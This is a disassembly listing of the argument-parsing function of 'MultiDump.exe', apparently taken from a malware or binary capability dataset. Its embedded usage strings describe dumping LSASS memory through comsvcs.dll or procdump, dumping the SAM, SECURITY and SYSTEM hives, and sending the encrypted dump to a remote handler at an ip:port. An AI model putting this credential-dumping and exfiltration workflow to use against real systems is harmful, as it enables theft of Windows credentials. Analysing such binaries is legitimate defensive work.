Function at 0x14000125d
Capabilities:
Get common file path
Terminate process

Disassembly:
jmp 0x140001620
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x9f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1b2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa18]
lea rcx, [0x1400960a5]
call fcn.1400012c6
mov rdi, qword [rbp + 0x9e0]
xor eax, eax
mov ecx, 0x38
rep stosb byte [rdi], al
mov dword [rbp + 0x644], 0
jmp 0x14000168b
mov eax, dword [rbp + 0x644]
inc eax
mov dword [rbp + 0x644], eax
mov eax, dword [rbp + 0x9e8]
cmp dword [rbp + 0x644], eax
jge 0x140001a69
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000effc]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x140001707
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f000]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x140001707
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__help
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x1400017b0
lea rcx, str._nUsage:_tMultiDump.exe___p__ProcDumpPath_____l__LocalDumpPath____r__RemoteHandlerAddr______procdump____v__n_n
call fcn.140001163
lea rcx, str._p_t_tPath_to_save_procdump.exe__use_full_path._Default_to_temp_directory_n
call fcn.140001163
lea rcx, str._l_t_tPath_to_save_encrypted_dump_file__use_full_path._Default_to_current_directory_n
call fcn.140001163
lea rcx, str._r_t_tSet_ip:port_to_connect_to_a_remote_handler_n
call fcn.140001163
lea rcx, str.__procdump_tWrites_procdump_to_disk_and_use_it_to_dump_LSASS_n
call fcn.140001163
lea rcx, str.__nodump_tDisable_LSASS_dumping_n
call fcn.140001163
lea rcx, str.__reg_t_tDump_SAM__SECURITY_and_SYSTEM_hives_n
call fcn.140001163
lea rcx, str.__delay_t_tIncrease_interval_between_connections_to_for_slower_network_speeds_n
call fcn.140001163
lea rcx, str._v_t_tEnable_verbose_mode_n
call fcn.140001163
lea rcx, str._nMultiDump_defaults_in_local_mode_using_comsvcs.dll_and_saves_the_encrypted_dump_in_the_current_directory._n
call fcn.140001163
lea rcx, [0x14000f368]
call fcn.140001163
lea rcx, str._tMultiDump.exe__l_C:UsersPubliclsass.dmp__v_n
call fcn.140001163
lea rcx, str._tMultiDump.exe___procdump__p_C:Toolsprocdump.exe__r_192.168.1.100:5000_n
call fcn.140001163
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x140001a64
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f418]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x1400017f4
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f41c]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001836
mov eax, dword [rbp + 0x644]
inc eax
cmp eax, dword [rbp + 0x9e8]
jge 0x140001836
mov eax, dword [rbp + 0x644]
inc eax
cdqe
mov rcx, qword [rbp + 0x9e0]
mov rdx, qword [rbp + 0x9f0]
mov rax, qword [rdx + rax*8]
mov qword [rcx], rax
mov eax, dword [rbp + 0x644]
inc eax
mov dword [rbp + 0x644], eax
jmp 0x140001a64
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f420]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x14000187a
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f424]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x1400018bd
mov eax, dword [rbp + 0x644]
inc eax
cmp eax, dword [rbp + 0x9e8]
jge 0x1400018bd
mov eax, dword [rbp + 0x644]
inc eax
cdqe
mov rcx, qword [rbp + 0x9e0]
mov rdx, qword [rbp + 0x9f0]
mov rax, qword [rdx + rax*8]
mov qword [rcx + 8], rax
mov eax, dword [rbp + 0x644]
inc eax
mov dword [rbp + 0x644], eax
jmp 0x140001a64
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f428]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x140001901
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f42c]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001944
mov eax, dword [rbp + 0x644]
inc eax
cmp eax, dword [rbp + 0x9e8]
jge 0x140001944
mov eax, dword [rbp + 0x644]
inc eax
cdqe
mov rcx, qword [rbp + 0x9e0]
mov rdx, qword [rbp + 0x9f0]
mov rax, qword [rdx + rax*8]
mov qword [rcx + 0x18], rax
mov eax, dword [rbp + 0x644]
inc eax
mov dword [rbp + 0x644], eax
jmp 0x140001a64
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f430]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x140001988
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000f434]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x14000199b
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x24], 1
jmp 0x140001a64
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__procdump
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x1400019d0
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x28], 1
jmp 0x140001a64
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__nodump
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001a02
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x2c], 1
jmp 0x140001a64
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__reg
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001a34
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x30], 1
jmp 0x140001a64
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__delay
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001a64
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x34], 1
jmp 0x14000167d
mov edx, 0x104
lea rcx, [rbp + 0x60]
call sub.ucrtbased.dll__getcwd
cdqe
test rax, rax
jne 0x140001a95
lea rcx, str.____Error_getting_current_directory_n
call fcn.140001163
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rdx, [rbp + 0x3f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140001aca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetTempPathA_Failed_With_Error_:__d__n
call fcn.140001163
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov edx, 6
lea rcx, [rbp + 0x664]
call fcn.1400010af
lea rax, [rbp + 0x664]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3f0]
lea r8, str._s_s.dmp
mov edx, 0x104
lea rcx, [rbp + 0x520]
call fcn.1400011f9
lea rcx, [rbp + 0x520]
call qword [sym.imp.ucrtbased.dll__strdup]
mov rcx, qword [rbp + 0x9e0]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x9e0]
cmp qword [rax], 0
jne 0x140001b7e
mov edx, 6
lea rcx, [rbp + 0x684]
call fcn.1400010af
lea rax, [rbp + 0x684]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3f0]
lea r8, str._s_s.exe
mov edx, 0x104
lea rcx, [rbp + 0x190]
call fcn.1400011f9
lea rcx, [rbp + 0x190]
call qword [sym.imp.ucrtbased.dll__strdup]
mov rcx, qword [rbp + 0x9e0]
mov qword [rcx], rax
mov rax, qword [rbp + 0x9e0]
cmp qword [rax + 0x18], 0
jne 0x140001b98
mov dword [rbp + 0x9b4], 1
jmp 0x140001ba2
mov dword [rbp + 0x9b4], 0
mov rax, qword [rbp + 0x9e0]
mov ecx, dword [rbp + 0x9b4]
mov dword [rax + 0x20], ecx
mov rax, qword [rbp + 0x9e0]
cmp qword [rax + 8], 0
jne 0x140001c11
mov edx, 6
lea rcx, [rbp + 0x6a4]
call fcn.1400010af
lea rax, [rbp + 0x6a4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x60]
lea r8, str._s_s.dat
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call fcn.1400011f9
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.ucrtbased.dll__strdup]
mov rcx, qword [rbp + 0x9e0]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x9e0]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_htons
call fcn.14000126c
mov rax, rdi
lea rsp, [rbp + 0x9c8]
pop rdi
pop rbp
ret